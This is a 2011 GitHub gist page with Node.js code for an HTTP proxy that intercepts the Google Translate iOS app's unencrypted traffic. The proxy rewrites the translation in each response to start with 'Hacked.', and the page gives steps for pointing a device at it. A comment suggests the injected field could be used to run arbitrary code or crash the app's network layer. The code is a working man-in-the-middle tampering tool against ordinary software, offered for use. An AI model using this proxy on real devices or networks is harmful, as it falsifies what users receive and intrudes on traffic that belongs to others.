Created
December 20, 2011 07:04
-
-
Save itguy51/1500604 to your computer and use it in GitHub Desktop.
Google Translate iOS App Proxy Breaker
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var http = require('http'); | |
var sys = require('util'); | |
http.createServer(function (request, response) { | |
data = ""; | |
useSecl = false; | |
url = request.url; | |
transURI = "http://translate.google.com"; | |
if (url.indexOf(transURI) > -1) { | |
e = url.replace(transURI, ""); | |
http.get({ | |
host: transURI.replace("http://", ""), | |
path: e, | |
port: 80, | |
method: 'GET' | |
}, function (res) { | |
var pageData = ""; | |
res.setEncoding('utf8'); | |
res.on('data', function (chunk) { | |
pageData += chunk; | |
}); | |
res.on('end', function () { | |
data = JSON.parse(pageData); | |
data.sentences[0].trans = "Hacked. Your translation is also '" + data.sentences[0].trans + "'"; | |
data = JSON.stringify(data); | |
sys.log("Breaking..."); | |
}); | |
}); | |
useSecl = true; | |
} else { | |
useSecl = false; | |
} | |
var proxy = http.createClient(80, request.headers['host']) | |
var proxy_request = proxy.request(request.method, request.url, request.headers); | |
proxy_request.addListener('response', function (proxy_response) { | |
proxy_response.addListener('data', function (chunk) { | |
if (useSecl) { | |
response.write(data, 'UTF-8'); | |
} else { | |
response.write(chunk, 'binary'); | |
} | |
}); | |
proxy_response.addListener('end', function () { | |
response.end(); | |
}); | |
response.writeHead(proxy_response.statusCode, proxy_response.headers); | |
}); | |
request.addListener('data', function (chunk) { | |
proxy_request.write(chunk, 'binary'); | |
}); | |
request.addListener('end', function () { | |
proxy_request.end(); | |
}); | |
}).listen(8880); |
Technically, you could make the 'trans' part of the JSON execute arbitrary code, and overflow the app, in turn, possibly crashing the iOS NetworkLayer
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Steps to Run.
Get NodeJS (Google is your friend)
On linux or OS X, simply issue node main.js
on windows, open command prompt, and cd to where the node.exe and this file are, then issue node main.js
To set up your iDevice.
Point its proxy settings at the computer that is running the proxy app under node, usually route via IP. (Make sure Google Translate is already insalled before configuring this, this proxy only supports HTTP, not HTTPS.)
Fire up the Translate app.
Try translating. Note that the text 'Hacked.' is appended to all results.
Have fun!